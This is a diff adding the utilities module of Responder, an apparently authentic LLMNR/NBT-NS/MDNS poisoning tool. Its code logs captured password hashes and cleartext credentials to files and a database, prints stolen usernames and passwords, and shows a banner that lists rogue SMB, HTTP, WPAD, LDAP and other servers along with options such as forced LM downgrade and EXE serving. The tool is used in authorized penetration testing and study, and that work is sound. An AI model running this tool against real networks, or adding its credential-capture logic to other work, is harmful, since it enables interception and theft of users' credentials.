@ -0,0 +1,358 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
import re
import logging
import socket
import time
import settings
try:
import sqlite3
except:
print "[!] Please install python-sqlite3 extension."
sys.exit(0)
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
# No colors for windows...
if os.name == 'nt':
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def text(txt):
logging.info(txt)
if os.name == 'nt':
return txt
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
return False
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
if ClientIp not in settings.Config.DontRespondTo:
return True
return False
def RespondToThisName(Name):
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
return False
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName:
return True
return False
def RespondToThisHost(ClientIp, Name):
return (RespondToThisIP(ClientIp) and RespondToThisName(Name))
def IsOsX():
return True if settings.Config.Os_version == "darwin" else False
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
return False if IsOsX() else True
else:
return False
def FindLocalIP(Iface):
if Iface == 'ALL':
return '0.0.0.0'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
except socket.error:
print color("[!] Error: %s: Interface not found" % Iface, 1)
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
if os.path.isfile(outfile) == False:
with open(outfile,"w") as outf:
outf.write(data)
outf.write("\n")
outf.close()
else:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
with open(outfile,"a") as outf2:
outf2.write(data)
outf2.write("\n")
outf2.close()
def SaveToDb(result):
# Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
cursor.commit()
cursor.close()
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
if len(result['user']) < 2:
return
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
logfile = os.path.join('./logs/responder', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile)
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
(count,) = res.fetchone()
if count == 0:
# Write JtR-style hash string to file
with open(logfile,"a") as outf:
outf.write(result['fullhash'])
outf.write("\n")
outf.close()
# Update database
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
cursor.close()
# Print output
if count == 0 or settings.Config.Verbose:
if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
if len(result['hostname']):
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
if len(result['user']):
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
# Bu order of priority, print cleartext, fullhash, or hash
if len(result['cleartext']):
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
elif len(result['fullhash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
elif len(result['hash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
else:
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":
return False
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
return True
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
return True
else:
return False
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except:
return "Illegal NetBIOS name"
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector",
"\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain Controller",
"\x42\x4e\x00":"Local Master Browser",
"\x42\x4f\x00":"Browser Election",
"\x43\x41\x00":"File Server",
"\x41\x42\x00":"Browser",
}
return Role[data] if data in Role else "Service not known"
def banner():
banner = "\n".join([
' __',
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
' | _| -__|__ --| _ | _ | | _ || -__| _|',
' |__| |_____|_____| __|_____|__|__|_____||_____|__|',
' |__|'
])
print banner
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
print ""
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
print " To kill this script hit CRTL-C"
print ""
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print ""
print color("[+] ", 2, 1) + "Poisoners:"
print ' %-27s' % "LLMNR" + enabled
print ' %-27s' % "NBT-NS" + enabled
print ' %-27s' % "DNS/MDNS" + enabled
print ""
print color("[+] ", 2, 1) + "Servers:"
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
print ""
print color("[+] ", 2, 1) + "HTTP Options:"
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script
print ""
print color("[+] ", 2, 1) + "Poisoning Options:"
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
print ""
print color("[+] ", 2, 1) + "Generic Options:"
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
if settings.Config.Upstream_Proxy:
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
if len(settings.Config.RespondTo):
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
if len(settings.Config.RespondToName):
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
if len(settings.Config.DontRespondTo):
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
if len(settings.Config.DontRespondToName):
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
print ""
print ""
# Useful for debugging
def hexdump(src, l=0x16):
res = []
sep = '.'
src = str(src)
for i in range(0, len(src), l):
s = src[i:i+l]
hexa = ''
for h in range(0,len(s)):
if h == l/2:
hexa += ' '
h = s[h]
if not isinstance(h, int):
h = ord(h)
h = hex(h).replace('0x','')
if len(h) == 1:
h = '0'+h
hexa += h + ' '
hexa = hexa.strip(' ')
text = ''
for c in s:
if not isinstance(c, int):
c = ord(c)
if 0x20 <= c < 0x7F:
text += chr(c)
else:
text += sep
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
return '\n'.join(res)